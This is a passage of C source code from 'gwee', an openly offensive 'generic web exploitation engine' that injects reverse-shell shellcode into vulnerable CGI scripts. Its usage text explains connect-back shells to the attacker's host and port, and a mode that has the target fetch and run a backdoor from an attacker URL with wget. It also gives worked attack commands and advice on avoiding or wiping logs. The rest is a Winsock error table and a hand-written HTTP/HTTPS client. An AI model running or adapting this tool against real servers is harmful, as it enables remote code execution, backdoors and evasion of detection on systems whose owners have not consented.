498 "THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n"
499 "IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n"
500 "FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n"
501 "AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n"
502 "LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n"
503 "OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n"
504 "SOFTWARE.\n"
505 "\n"
506 "Usage: gwee [options] [target_url]\n"
507 "[target_url] is the full URL to the vulnerable web script, e.g.:\n"
508 " http://target.tld/cgi-bin/openwebmail/userstat.pl\n"
509 "-h\n"
510 " This help.\n"
511 "-V\n"
512 " Print banner and exit.\n"
513 "-y string\n"
514 " The parameter to insert before the shellcode injection command line is\n"
515 " inserted. The shellcode is inserted between the values of the -y option and\n"
516 " the -z option. In POST requests (default behaviour), the -y and -z options\n"
517 " go into the POST data, not in the URL. In GET and HEAD requests, the \"-y\n"
518 " <shellcode> -z\" option combination is appended to the URL. If you need to\n"
519 " add a '?' you can do that either in the URL or as the first char of the -y\n"
520 " option. By default, -y and -z are empty.\n"
521 "-z string\n"
522 " String to append after the shellcode injection command. By default, the -z\n"
523 " string is empty. An example usage of the -y -z option combo would be:\n"
524 "\n"
525 " $ gwee -H -y '?testvar=' -z '|' target/cgi-bin/test.cgi\n"
526 "\n"
527 " This will resolve into:\n"
528 " http://target/cgi-bin/test.cgi?testvar=perl -e \"print <shellcode>\"|\n"
529 " Of course, you could have done it this way too, same result:\n"
530 " $ gwee -z '|' 'target/cgi-bin/test.cgi?testvar='\n"
531 "\n"
532 " $ gwee -y testvar= -z '|' target/cgi-bin/test.cgi\n"
533 " This will resolve into:\n"
534 " http://target/cgi-bin/test.cgi\n"
535 " POST data: testvar=perl -e \"print <shellcode>\"|\n"
536 "-G\n"
537 " Use HTTP GET instead of POST. This is not recommended since nasty long\n"
538 " tell-tail strings will end up in the access_log. In order for the whole\n"
539 " payload to fit into a 1024 byte GET request, the shellcode is split up into\n"
540 " 4 separate requests, all producing nasty logs.\n"
541 "-H\n"
542 " Use HTTP HEAD instead of POST/GET. Read about -G, the same nasty logs will\n"
543 " appear on the target and the shellcode will be split into 4 requests.\n"
544 "-l your_ip_or_hostname\n"
545 " The IP or hostname to have the shellcode connect back to. Hostnames will\n"
546 " be resolved into IP numbers, since that's the only method used by the\n"
547 " binary shellcodes.\n"
548 "-p port\n"
549 " The port to connect back to, default is 31337.\n"
550 "-s #\n"
551 " Choose which shellcode to install on the target:\n"
552 " 0 = Sabu's Perl shellcode (default if -s is omitted)\n"
553 " 1 = Linux x86 binary\n"
554 " 2 = FreeBSD x86 binary\n"
555 " 3 = NetBSD x86 binary\n"
556 " 4 = Sabu's Python shellcode (the target must have Python installed)\n"
557 "-i #\n"
558 " Choose shellcode injection method:\n"
559 " 0 = perl -e \"print \\\"<hex>\\\"\" (default if -i is omitted)\n"
560 " 1 = python -c \"__import__(\\\"sys\\\").stdout.write(\\\"<hex>\\\")\"\n"
561 " 2 = printf \"<hex>\"\n"
562 " 3 = echo -ne \"<hex>\" (works only if target's /bin/sh is bash)\n"
563 "-I prefix_path\n"
564 " Choose a prefix to the shellcode injection method, e.g.:\n"
565 " -i1 -I /usr/local/bin/\n"
566 " that would parse it into: /usr/local/bin/python -c ...\n"
567 " default is empty (the preferred way).\n"
568 "-T %s\n"
569 " Choose a different temporary filename for the shellcode/backdoor on the\n"
570 " target than the default.\n"
571 "-a \"user agent string\"\n"
572 " Choose user agent string, e.g.:\n"
573 " -a \"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)\"\n"
574 " If -a is omitted, I'll randomize from %u real user-agent strings.\n"
575 "-v\n"
576 " Be really verbose, disclose exactly which commands are being executed.\n"
577 "-q\n"
578 " Be really silent, only output error messages, nothing else.\n"
579 "-L\n"
580 " Run built-in tcp listener (no need to use \"nc -l\").\n"
581 "-A\n"
582 " Only listen for incoming connection on -p port, nothing else. Time-out is\n"
583 " set to no time-out, which can be changed by appending, e.g., -t30 *after*\n"
584 " the -A (not before). The -A option is just like: nc -l -p port -w timeout\n"
585 "-t seconds\n"
586 " Time-out in seconds until listener (-L) times out. Default is -t30\n"
587 " (30 seconds), -t0 means no time-out.\n"
588 "-f\n"
589 " Simply non-interactive, you don't need to press return to proceed.\n"
590 "-w http://home.of.attacker/reverse_shellcode\n"
591 " If you specify the -w option, the injection methods won't be used. Instead\n"
592 " \"wget -Yoff -q -O <bd> <url>\" will be executed on the target to download a\n"
593 " reverse shellcode/backdoor that will consequently be execute as per usual.\n"
594 " Use the -d option to dump a shellcode that you can upload somewhere.\n"
595 "-d outfile\n"
596 " This option will dump shellcode instead of injecting it somewhere. You use\n"
597 " the -l -p and -s options as usual, but instead of connecting somewhere,\n"
598 " the generated shellcode will be dumped to a file you specify after the -d.\n"
599 " Upload this file to a webserver and use it's URL with the -w option.\n"
600 " For example, this command will dump x86 Linux sishell:\n"
601 " $ gwee -lyourhostname. -p1337 -s1 -d bd\n"
602 " $ scp bd leet@host:/wwwroot/\n"
603 " $ gwee -w http://host/bd -LG -p1337 'target/cgi-bin/vuln.cgi?'\n"
604 "-P\n"
605 " Preserve the shellcode after injection. Normally, the exploit will send a\n"
606 " HTTP POST, HEAD or GET request trying to execute \"rm -f %s\"\n"
607 " This will leave nasty logs even after you wipe yourself from the logs. If\n"
608 " you know you'll get a shell on a box, use the -P option with the -L option.\n"
609 " Once connected with -L, it'll automatically send a \"shred -fu ; rm -f\"\n"
610 " over the connected socket.\n"
611 "-r\n"
612 " Remove created backdoor file (shellcode) on the target. This is done\n"
613 " by default, but you still have the choice to explicitly do a remove.\n"
614 "\n"
615 "Examples:\n"
616 "gwee -y 'q=%%3B' -l fubar.org. -p 6666 -L https://target/cgi-bin/vuln.cgi\n"
617 "gwee -y'?cmd=' -z'|' -G -l mydom.tld -p 9000 -s1 -i3 -Lf target/vuln.pl\n"
618 "gwee -y'loginname=%%3B' -l mydom.tld -p80 -Lf https://target/userstat.pl\n"
619 "gwee -A -p 6666 -t0 -q\n",
620 get_revision(rcsid), rcsid, TMPFILE, number_of_agents, TMPFILE);
621
622 #if ! defined(WITH_SSL)
623 printf("\nThis gwee is NOT compiled with HTTPS support (OpenSSL). Add\n"
624 "\"-DWITH_SSL -lssl -lcrypto\" to your compilation options.\n");
625 #endif
626 exit(1);
627 }
628
629
print_banner(void)630 void print_banner(void) {
631
632 #ifdef WIN32
633 printf("\n"
634 " !!!\n"
635 " ` ___ ' gwee for win32\n"
636 " - (0 0) -\n"
637 "-----oOo(_)oOo---------------------------------------- ----- --- -- - -\n"
638 "gwee %s - generic web exploitation engine\n"
639 "Copyright (C) 2004 Michel Blomgren <michel@cycom.se>\n"
640 "Perl and Python shellcode by Sabu -> http://sabu.net\n"
641 "Acknowledgements: Sabu and Nullbyte\n"
642 "\n", get_revision(rcsid));
643 #else
644 printf("\n"
645 "\033[0;35m !!!\033[0m\n"
646 "\033[0;35m ` \033[1;37m___\033[0;35m '\033[0m\n"
647 "\033[0;35m - \033[1;37m(0 0)\033[0;35m -\033[0m\n"
648 "\033[1;30m-----\033[1;37moOo(_)oOo\033[1;30m---------------------------------------- ----- --- -- - -\033[0m\n"
649 "\033[0;31mgwee %s\033[1;30m - generic web exploitation engine\033[0m\n"
650 "\033[1;30m\033[0;33mCopyright (C) 2004 Michel Blomgren\033[1;30m <michel@cycom.se>\033[0m\n"
651 "\033[1;30m\033[0;33mPerl and Python shellcode by Sabu\033[1;30m (http://sabu.net)\033[0m\n"
652 "\033[1;30mAcknowledgements: Sabu and Nullbyte\033[0m\n"
653 "\n", get_revision(rcsid));
654 #endif
655 return;
656 };
657
print_banner_without_colors(void)658 void print_banner_without_colors(void) {
659 printf("gwee %s - generic web exploitation engine\n"
660 "Copyright (C) 2004 Michel Blomgren <michel@cycom.se>\n"
661 "Perl and Python shellcode and expertise by Sabu -> http://sabu.net\n"
662 "%s\n", get_revision(rcsid), rcsid);
663 return;
664 };
665
666
667
668 #ifdef WIN32
669 /* very basic wsastrerror() */
WSAstrerror(DWORD my_wsagetlasterror)670 char *WSAstrerror(DWORD my_wsagetlasterror) {
671 switch (my_wsagetlasterror) {
672 case WSABASEERR:
673 return "WSABASEERR";
674 case WSAEINTR:
675 return "WSAEINTR";
676 case WSAEBADF:
677 return "WSAEBADF";
678 case WSAEACCES:
679 return "WSAEACCES";
680 case WSAEFAULT:
681 return "WSAEFAULT";
682 case WSAEINVAL:
683 return "WSAEINVAL";
684 case WSAEMFILE:
685 return "WSAEMFILE";
686 case WSAEWOULDBLOCK:
687 return "WSAEWOULDBLOCK";
688 case WSAEINPROGRESS:
689 return "WSAEINPROGRESS";
690 case WSAEALREADY:
691 return "WSAEALREADY";
692 case WSAENOTSOCK:
693 return "WSAENOTSOCK";
694 case WSAEDESTADDRREQ:
695 return "WSAEDESTADDRREQ";
696 case WSAEMSGSIZE:
697 return "WSAEMSGSIZE";
698 case WSAEPROTOTYPE:
699 return "WSAEPROTOTYPE";
700 case WSAENOPROTOOPT:
701 return "WSAENOPROTOOPT";
702 case WSAEPROTONOSUPPORT:
703 return "WSAEPROTONOSUPPORT";
704 case WSAESOCKTNOSUPPORT:
705 return "WSAESOCKTNOSUPPORT";
706 case WSAEOPNOTSUPP:
707 return "WSAEOPNOTSUPP";
708 case WSAEPFNOSUPPORT:
709 return "WSAEPFNOSUPPORT";
710 case WSAEAFNOSUPPORT:
711 return "WSAEAFNOSUPPORT";
712 case WSAEADDRINUSE:
713 return "WSAEADDRINUSE";
714 case WSAEADDRNOTAVAIL:
715 return "WSAEADDRNOTAVAIL";
716 case WSAENETDOWN:
717 return "WSAENETDOWN";
718 case WSAENETUNREACH:
719 return "WSAENETUNREACH";
720 case WSAENETRESET:
721 return "WSAENETRESET";
722 case WSAECONNABORTED:
723 return "WSAECONNABORTED";
724 case WSAECONNRESET:
725 return "WSAECONNRESET";
726 case WSAENOBUFS:
727 return "WSAENOBUFS";
728 case WSAEISCONN:
729 return "WSAEISCONN";
730 case WSAENOTCONN:
731 return "WSAENOTCONN";
732 case WSAESHUTDOWN:
733 return "WSAESHUTDOWN";
734 case WSAETOOMANYREFS:
735 return "WSAETOOMANYREFS";
736 case WSAETIMEDOUT:
737 return "WSAETIMEDOUT";
738 case WSAECONNREFUSED:
739 return "WSAECONNREFUSED";
740 case WSAELOOP:
741 return "WSAELOOP";
742 case WSAENAMETOOLONG:
743 return "WSAENAMETOOLONG";
744 case WSAEHOSTDOWN:
745 return "WSAEHOSTDOWN";
746 case WSAEHOSTUNREACH:
747 return "WSAEHOSTUNREACH";
748 case WSAENOTEMPTY:
749 return "WSAENOTEMPTY";
750 case WSAEPROCLIM:
751 return "WSAEPROCLIM";
752 case WSAEUSERS:
753 return "WSAEUSERS";
754 case WSAEDQUOT:
755 return "WSAEDQUOT";
756 case WSAESTALE:
757 return "WSAESTALE";
758 case WSAEREMOTE:
759 return "WSAEREMOTE";
760 case WSAEDISCON:
761 return "WSAEDISCON";
762 case WSASYSNOTREADY:
763 return "WSASYSNOTREADY";
764 case WSAVERNOTSUPPORTED:
765 return "WSAVERNOTSUPPORTED";
766 case WSANOTINITIALISED:
767 return "WSANOTINITIALISED";
768 case WSAHOST_NOT_FOUND:
769 return "WSAHOST_NOT_FOUND";
770 case WSATRY_AGAIN:
771 return "WSATRY_AGAIN";
772 case WSANO_RECOVERY:
773 return "WSANO_RECOVERY";
774 case WSANO_DATA:
775 return "WSANO_DATA";
776 default:
777 return "Unknown winsock error";
778 }
779 }
780 /*
781 * init_winsock() initializes wsock32.dll (under win32 that is)
782 */
init_winsock(void)783 void init_winsock(void) {
784 WORD wVersionRequested;
785 static WSADATA wsaData;
786 float socklib_ver;
787
788 wVersionRequested = MAKEWORD(1,1);
789 if (WSAStartup(wVersionRequested, &wsaData)) {
790 fprintf(stderr, "[?] WSAStartup: %s\n", WSAstrerror(WSAGetLastError()));
791 exit(1);
792 }
793 /* check if winsock DLL supports 1.1 (or higher) */
794 socklib_ver = HIBYTE(wsaData.wVersion) / 10.0;
795 socklib_ver += LOBYTE(wsaData.wVersion);
796 if (socklib_ver < 1.1) {
797 fprintf(stderr, "[?] socket library must support 1.1 or higher\n");
798 WSACleanup();
799 exit(1);
800 }
801 return;
802 }
803 #endif
804
805
806 /*
807 * mini-wwwclient
808 */
809
810 /* how long time in seconds select may block before bumping out */
811 #define httpclient_recv_timeout 3
812
813 #define httpclient_err_empty_url 1
814 #define httpclient_err_empty_method 2
815 #define httpclient_err_empty_useragent 3
816 #define httpclient_err_empty_data 4
817 #define httpclient_err_no_auth 5
818 #define httpclient_err_bad_url 6
819 #define httpclient_err_bad_method 7
820 #define httpclient_get 8
821 #define httpclient_post 9
822 #define httpclient_head 10
823 #define httpclient_http 11
824 #define httpclient_https 12
825
httpclient(char * method,char * xUrl,char * useragent,char * data,int issilent)826 int httpclient(char *method, char *xUrl, char *useragent, char *data, int issilent) {
827 /*
828 * tiny http client
829 * method is either "GET", "POST" or "HEAD"
830 * xUrl is the URL (null-terminated)
831 * useragent is a valid User-Agent string
832 * data is a null-terminated string of data for POST requests only
833 */
834 char xbuf[4096];
835 char slash[] = "/";
836 char protocolstr[] = "://";
837 char protocol1[] = "http:";
838 #if defined(WITH_SSL)
839 char protocol2[] = "https:";
840 #endif
841
842 #ifdef WIN32
843 SOCKET sd;
844 #else
845 int sd;
846 #endif
847
848 int sopt, a, type;
849
850 #if defined(WITH_SSL)
851 int protocol = httpclient_http;
852 #endif
853 struct sockaddr_in servAddr;
854 struct sockaddr_in connectAddr;
855 struct hostent *Xhe;
856
857 char *hcHostname;
858 char *hcPort_ascii;
859 unsigned int hcPort = 80;
860
861 char *request;
862 char *tempp;
863
864
865 if (verbose && !issilent) {
866 printf("[i] httpclient(\"%s\", \"%s\", \"%s\", \"%s\", %u);\n",
867 method, xUrl, useragent, data, issilent);
868 }
869
870
871 /* do some usage checking first */
872 if (!xUrl) {
873 if (!issilent)
874 fprintf(stderr, "[?] url can't be empty\n");
875 #ifdef WIN32
876 WSACleanup();
877 #endif
878 exit(1);
879 //return httpclient_err_empty_url;
880 }
881 if (!method) {
882 if (!issilent)
883 fprintf(stderr, "[?] null method specified, must be either GET, HEAD or POST\n");
884 #ifdef WIN32
885 WSACleanup();
886 #endif
887 exit(1);
888 //return httpclient_err_empty_method;
889 }
890 if (!useragent) {
891 if (!issilent)
892 fprintf(stderr, "[?] null user-agent specified\n");
893 #ifdef WIN32
894 WSACleanup();
895 #endif
896 exit(1);
897 //return httpclient_err_empty_useragent;
898 }
899
900 /* url can't be empty */
901 if (!strlen(xUrl)) {
902 if (!issilent)
903 fprintf(stderr, "[?] url can't be empty\n");
904 #ifdef WIN32
905 WSACleanup();
906 #endif
907 exit(1);
908 //return httpclient_err_empty_url;
909 }
910
911 /* figure out method to use */
912 if (!strcasecmp(method, "GET")) {
913 type = httpclient_get;
914 } else if (!strcasecmp(method, "POST")) {
915 type = httpclient_post;
916 if (!data) {
917 if (!issilent)
918 fprintf(stderr, "[?] POST method specified, but no data to post\n");
919 #ifdef WIN32
920 WSACleanup();
921 #endif
922 exit(1);
923 //return httpclient_err_empty_data;
924 }
925 } else if (!strcasecmp(method, "HEAD")) {
926 type = httpclient_head;
927 } else {
928 if (!issilent)
929 fprintf(stderr, "[?] method %s not recognized\n", method);
930 #ifdef WIN32
931 WSACleanup();
932 #endif
933 exit(1);
934 //return httpclient_err_bad_method;
935 }
936
937 /* make sure we don't have an @ in the url */
938 a = 0;
939 while (xUrl[a]) {
940 if (xUrl[a] == '@') {
941 if (!issilent)
942 fprintf(stderr, "[?] url can't contain \"@\", I can't handle AUTH (yet)\n");
943 #ifdef WIN32
944 WSACleanup();
945 #endif
946 exit(1);
947 //return httpclient_err_no_auth;
948 }
949 a++;
950 }
951
952 if (!(tempp = strstr(xUrl, protocolstr))) {
953 tempp = xUrl;
954 } else {
955 #if defined WITH_SSL
956 if (!strncasecmp(xUrl, protocol1, strlen(protocol1))) {
957 protocol = httpclient_http;
958 } else if (!strncasecmp(xUrl, protocol2, strlen(protocol2))) {
959 protocol = httpclient_https;
960 /*
961 * changing hcPort here is safe, if another port is specified
962 * (after ':') it's changed further ahead
963 */
964 hcPort = 443;
965 } else {
966 if (!issilent)
967 fprintf(stderr, "[?] HTTP and HTTPS are the only supported protocols!\n");
968 #ifdef WIN32
969 WSACleanup();
970 #endif
971 exit(1);
972 //return httpclient_err_bad_url;
973 }
974 #else
975 if (strncasecmp(xUrl, protocol1, strlen(protocol1))) {
976 if (!issilent)
977 fprintf(stderr, "[?] this gwee is only compiled with HTTP support, no other protocol!\n");
978 #ifdef WIN32
979 WSACleanup();
980 #endif
981 exit(1);
982 //return httpclient_err_bad_url;
983 }
984 #endif
985 tempp += strlen(protocolstr);
986 }
987
988 if (!isalnum(tempp[0])) {
989 if (!issilent)
990 fprintf(stderr, "[?] bad url\n");
991 #ifdef WIN32
992 WSACleanup();
993 #endif
994 exit(1);
995 //return httpclient_err_bad_url;
996 }
997
998 /*
999 * extract hostname part of URL
1000 */
1001 a = 0;
1002 while (tempp[a]) {
1003 if ((!isalnum(tempp[a])) && (tempp[a] != '.') && (tempp[a] != '-') && (tempp[a] != '_'))
1004 break;
1005 a++;
1006 }
1007
1008 /* allocate special buffer for hostname (hcHostname) */
1009 if (!(hcHostname = malloc(a+1))) {
1010 if (!issilent)
1011 fprintf(stderr, "[?] can't allocate memory: %s\n", strerror(errno));
1012 #ifdef WIN32
1013 WSACleanup();
1014 #endif
1015 exit(1);
1016 //return -1;
1017 }
1018 strncpy(hcHostname, tempp, a);
1019 hcHostname[a] = 0;
1020
1021 if (!strlen(hcHostname)) {
1022 if (!issilent)
1023 fprintf(stderr, "[?] host part in URL is empty\n");
1024 #ifdef WIN32
1025 WSACleanup();
1026 #endif
1027 exit(1);
1028 //return httpclient_err_bad_url;
1029 }
1030
1031 tempp = &tempp[a];
1032
1033 a = 0;
1034 if (tempp[a] == ':') {
1035 /* IMPORTANT! a == 1 initially, not 0, very important! */
1036 a++;
1037
1038 while (isdigit(tempp[a])) {
1039 a++;
1040 }
1041 if (!(hcPort_ascii = malloc(a))) { /* a is already strlen+1 */
1042 if (!issilent)
1043 fprintf(stderr, "[?] can't allocate memory: %s", strerror(errno));
1044 #ifdef WIN32
1045 WSACleanup();
1046 #endif
1047 exit(1);
1048 //return -1;
1049 }
1050 strncpy(hcPort_ascii, tempp+1, a-1);
1051 hcPort_ascii[a-1] = 0;
1052
1053 hcPort = atoi(hcPort_ascii);
1054
1055 if ((hcPort < 1) || (hcPort > 65535)) {
1056 fprintf(stderr, "[?] port in URL is not within the range 1-65535\n");
1057 #ifdef WIN32
1058 WSACleanup();
1059 #endif
1060 exit(1);
1061 //return -1;
1062 }
1063 }
1064
1065 request = &tempp[a];
1066
1067 if (!strlen(request)) {
1068 request = slash;
1069 }
1070
1071 /*
1072 * connect
1073 */
1074
1075 if (!(Xhe = gethostbyname(hcHostname))) {
1076 if (!issilent) {
1077 fprintf(stderr, "[?] %s: %s\n", hcHostname,
1078 #ifdef WIN32
1079 WSAstrerror(WSAGetLastError())
1080 #else
1081 hstrerror(h_errno)
1082 #endif
1083 );
1084 }
1085
1086 #ifdef WIN32
1087 WSACleanup();
1088 #endif
1089 exit(1);
1090 //return -1;
1091 }
1092
1093 servAddr.sin_family = Xhe->h_addrtype;
1094 memcpy(&servAddr.sin_addr.s_addr, Xhe->h_addr_list[0], Xhe->h_length);
1095 servAddr.sin_port = htons((short)hcPort);
1096
1097 #ifdef WIN32
1098 if ((sd = socket(AF_INET, SOCK_STREAM, 0)) == INVALID_SOCKET) {
1099 #else
1100 if ((sd = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
1101 #endif
1102 if (!issilent)
1103 fprintf(stderr, "[?] socket(): %s\n",
1104 #ifdef WIN32
1105 WSAstrerror(WSAGetLastError())
1106 #else
1107 strerror(errno)
1108 #endif
1109 );
1110 #ifdef WIN32
1111 WSACleanup();
1112 #endif
1113 exit(1);
1114 //return -1;
1115 }
1116
1117
1118 /* if source port > 0, then we use bind() to choose a user-specified source port */
1119 if (sourceport) {
1120 if ((sourceport < 1) || (sourceport > 65535)) {
1121 if (!issilent) {
1122 fprintf(stderr, "[?] source port is not in the range 1-65535!\n");
1123 }
1124 #ifdef WIN32
1125 WSACleanup();
1126 #endif
1127 exit(1);
1128 //return -1;
1129 }
1130
1131 sopt = 1;
1132 connectAddr.sin_family = AF_INET;
1133 connectAddr.sin_addr.s_addr = htonl(INADDR_ANY);
1134 connectAddr.sin_port = htons(sourceport);
1135
1136 /* set REUSEADDR socket option */
1137 #ifdef WIN32
1138 if (setsockopt(sd, SOL_SOCKET, SO_REUSEADDR, (char*)&sopt, sizeof(sopt))) {
1139 #else
1140 if (setsockopt(sd, SOL_SOCKET, SO_REUSEADDR, (void*)&sopt, sizeof(sopt))) {
1141 #endif
1142 if (!issilent) {
1143 fprintf(stderr, "[?] setsockopt(): %s\n", strerror(errno));
1144 }
1145 #ifdef WIN32
1146 WSACleanup();
1147 #endif
1148 exit(1);
1149 //return -1;
1150 }
1151
1152 /* bind to custom source port */
1153 if (bind(sd, (struct sockaddr*)&connectAddr, sizeof(connectAddr))) {
1154 if (!issilent) {
1155 fprintf(stderr, "[?] bind() to port %i: %s\n", sourceport,
1156 #ifdef WIN32
1157 WSAstrerror(WSAGetLastError())
1158 #else
1159 strerror(errno)
1160 #endif
1161 );
1162 }
1163 #ifdef WIN32
1164 WSACleanup();
1165 #endif
1166 exit(1);
1167 //return -1;
1168 }
1169 }
1170
1171
1172 if ((!issilent) && verbose) {
1173 printf("[i] connecting to %s (%s) on port %u\n", hcHostname, inet_ntoa(*((struct in_addr*)Xhe->h_addr_list[0])), hcPort);
1174 }
1175
1176 if (connect(sd, (struct sockaddr *)&servAddr, sizeof(servAddr)) < 0) {
1177 if (!issilent)
1178 fprintf(stderr, "[?] connect() to %s:%u: %s\n", inet_ntoa(*((struct in_addr*)Xhe->h_addr_list[0])), hcPort,
1179 #ifdef WIN32
1180 WSAstrerror(WSAGetLastError())
1181 #else
1182 strerror(errno)
1183 #endif
1184 );
1185 #ifdef WIN32
1186 WSACleanup();
1187 #endif
1188 exit(1);
1189 //return -1;
1190 }
1191
1192 #if defined(WITH_SSL)
1193 if (protocol == httpclient_https) {
1194 /**** we're connected, start ssl negotiation ****/
1195
1196 if (!(ssl = SSL_new(sslctx))) {
1197 if (!issilent) {
1198 fprintf(stderr, "[?] SSL_new(): %s\n", ERR_reason_error_string(ERR_get_error()));
1199 }
1200 #ifdef WIN32
1201 closesocket(sd);
1202 WSACleanup();
1203 #else
1204 close(sd);
1205 #endif
1206 exit(1);
1207 //return -1;
1208 }
1209 if (!SSL_set_fd(ssl, sd)) {
1210 if (!issilent) {
1211 fprintf(stderr, "[?] SSL_set_fd(): %s\n", ERR_reason_error_string(ERR_get_error()));
1212 }
1213 #ifdef WIN32
1214 closesocket(sd);
1215 #else
1216 close(sd);
1217 #endif
1218 SSL_free(ssl);
1219 #ifdef WIN32
1220 WSACleanup();
1221 #endif
1222 exit(1);
1223 //return -1;
1224 }
1225 if (SSL_connect(ssl) <= 0) {
1226 if (!issilent) {
1227 fprintf(stderr, "[?] SSL_connect(): %s\n", ERR_reason_error_string(ERR_get_error()));
1228 }
1229 #ifdef WIN32
1230 closesocket(sd);
1231 #else
1232 close(sd);
1233 #endif
1234 SSL_free(ssl);
1235 #ifdef WIN32
1236 WSACleanup();
1237 #endif
1238 exit(1);
1239 //return -1;
1240 }
1241
1242 if ((!issilent) && verbose) {
1243 printf("[i] ssl connection using cipher %s\n", SSL_get_cipher(ssl));
1244 }
1245
1246 /**** get server certificate ****/
1247
1248 if (!(peer_cert = SSL_get_peer_certificate(ssl))) {
1249 if (!issilent) {
1250 fprintf(stderr, "[?] %s:%u (%s) did not present a certificate!\n",
1251 hcHostname, hcPort, inet_ntoa(*((struct in_addr*)Xhe->h_addr_list[0])));
1252 }
1253 SSL_shutdown(ssl);
1254 #ifdef WIN32
1255 closesocket(sd);
1256 #else
1257 close(sd);
1258 #endif
1259 SSL_free(ssl);
1260 #ifdef WIN32
1261 WSACleanup();
1262 #endif
1263 exit(1);
1264 //return -1;
1265 }
1266
1267 /**** print certificate information ****/
1268
1269 if ((!issilent) && verbose) {
1270 unsigned int mdsha_size;
1271 unsigned char mdsha[EVP_MAX_MD_SIZE];
1272
1273 printf("[i] target certificate information:\n");
1274 printf("... subject: %s\n", X509_NAME_oneline(X509_get_subject_name(peer_cert), 0, 0));
1275 printf("... issuer: %s\n", X509_NAME_oneline(X509_get_issuer_name(peer_cert), 0, 0));
1276
1277 if (!X509_digest(peer_cert, EVP_md5(), mdsha, &mdsha_size)) {
1278 if (!issilent) {
1279 fprintf(stderr, "[?] X509_digest\n");
1280 }
1281 X509_free(peer_cert);
1282 SSL_shutdown(ssl);
1283 #ifdef WIN32
1284 closesocket(sd);
1285 #else
1286 close(sd);
1287 #endif
1288 SSL_free(ssl);
1289 #ifdef WIN32
1290 WSACleanup();
1291 #endif
1292 exit(1);
1293 //return -1;
1294 }
1295 }
1296
1297 /* free peer_cert allocated by SSL_get_peer_certificate() above */
1298 X509_free(peer_cert);
1299
1300 /**** end of SSL negotiation ****/
1301 }
1302 #endif
1303
1304
1305 /*
1306 * send request
1307 */
1308
1309 if (type == httpclient_get) {
1310 snprintf(xbuf, sizeof(xbuf),
1311 "GET %s HTTP/1.1\r\n"
1312 "User-Agent: %s\r\n",
1313 request, useragent);
1314 if (hcPort == 80) {
1315 snprintf(&xbuf[strlen(xbuf)], (sizeof(xbuf)-strlen(xbuf)),
1316 "Host: %s\r\n", hcHostname);
1317 } else {
1318 snprintf(&xbuf[strlen(xbuf)], (sizeof(xbuf)-strlen(xbuf)),
1319 "Host: %s:%u\r\n", hcHostname, hcPort);
1320 }
1321 snprintf(&xbuf[strlen(xbuf)], (sizeof(xbuf)-strlen(xbuf)),
1322 "Pragma: no-cache\r\n"
1323 "Connection: close\r\n"
1324 "\r\n");
1325 } else if (type == httpclient_post) {
1326 snprintf(xbuf, sizeof(xbuf),
1327 "POST %s HTTP/1.1\r\n"
1328 "User-Agent: %s\r\n",
1329 request, useragent);
1330 if (hcPort == 80) {
1331 snprintf(&xbuf[strlen(xbuf)], (sizeof(xbuf)-strlen(xbuf)),
1332 "Host: %s\r\n", hcHostname);
1333 } else {
1334 snprintf(&xbuf[strlen(xbuf)], (sizeof(xbuf)-strlen(xbuf)),
1335 "Host: %s:%u\r\n", hcHostname, hcPort);
1336 }
1337 snprintf(&xbuf[strlen(xbuf)], (sizeof(xbuf)-strlen(xbuf)),
1338 "Pragma: no-cache\r\n"
1339 "Connection: close\r\n"
1340 "Content-Length: %u\r\n"
1341 "Content-Type: application/x-www-form-urlencoded\r\n"
1342 "\r\n",
1343 strlen(data));
1344 } else if (type == httpclient_head) {
1345 snprintf(xbuf, sizeof(xbuf),
1346 "HEAD %s HTTP/1.1\r\n"
1347 "User-Agent: %s\r\n",
1348 request, useragent);
1349 if (hcPort == 80) {
1350 snprintf(&xbuf[strlen(xbuf)], (sizeof(xbuf)-strlen(xbuf)),
1351 "Host: %s\r\n", hcHostname);
1352 } else {
1353 snprintf(&xbuf[strlen(xbuf)], (sizeof(xbuf)-strlen(xbuf)),
1354 "Host: %s:%u\r\n", hcHostname, hcPort);
1355 }
1356 snprintf(&xbuf[strlen(xbuf)], (sizeof(xbuf)-strlen(xbuf)),
1357 "Pragma: no-cache\r\n"
1358 "Connection: close\r\n"
1359 "\r\n");
1360 } else {
1361 #if defined WITH_SSL
1362 if (protocol == httpclient_https) {
1363 SSL_shutdown(ssl);
1364 #ifdef WIN32
1365 closesocket(sd);
1366 #else
1367 close(sd);
1368 #endif
1369 SSL_free(ssl);
1370 } else {
1371 #ifdef WIN32
1372 closesocket(sd);
1373 #else
1374 close(sd);
1375 #endif
1376 }
1377 #else
1378 #ifdef WIN32
1379 closesocket(sd);
1380 #else
1381 close(sd);
1382 #endif
1383 #endif
1384 #ifdef WIN32
1385 WSACleanup();
1386 #endif
1387 exit(1);
1388 //return httpclient_err_bad_method;
1389 }
1390
1391
1392 #if defined(WITH_SSL)
1393 if (protocol == httpclient_https) {
1394 SSL_write(ssl, xbuf, strlen(xbuf));
1395 if (type == httpclient_post)
1396 SSL_write(ssl, data, strlen(data));
1397 } else {
1398 send(sd, xbuf, strlen(xbuf), 0);
1399 if (type == httpclient_post)
1400 send(sd, data, strlen(data), 0);
1401 }
1402 #else
1403 send(sd, xbuf, strlen(xbuf), 0);
1404 if (type == httpclient_post)
1405 send(sd, data, strlen(data), 0);
1406 #endif
1407
1408
1409 /*
1410 * Apache kills (or something similar) the child process if the HEAD
1411 * transfer is too fast (i.e. finishes faster than the script can
1412 * execute). Because of this, we usleep() some, so that the HEAD request
1413 * is given a chance to do what we want. This may not apply to all
1414 * versions of Apache, though.
1415 */
1416 if (type == httpclient_head) {
1417 #ifdef WIN32
1418 Sleep(100);
1419 #else
1420 usleep(100000);
1421 #endif
1422 }
1423
1424
1425 while (1) {
1426 fd_set fds;
1427 struct timeval to;
1428 to.tv_sec = httpclient_recv_timeout;
1429 to.tv_usec = 0;
1430
1431 FD_ZERO(&fds);
1432 FD_SET(sd, &fds);
1433
1434 #ifdef WIN32
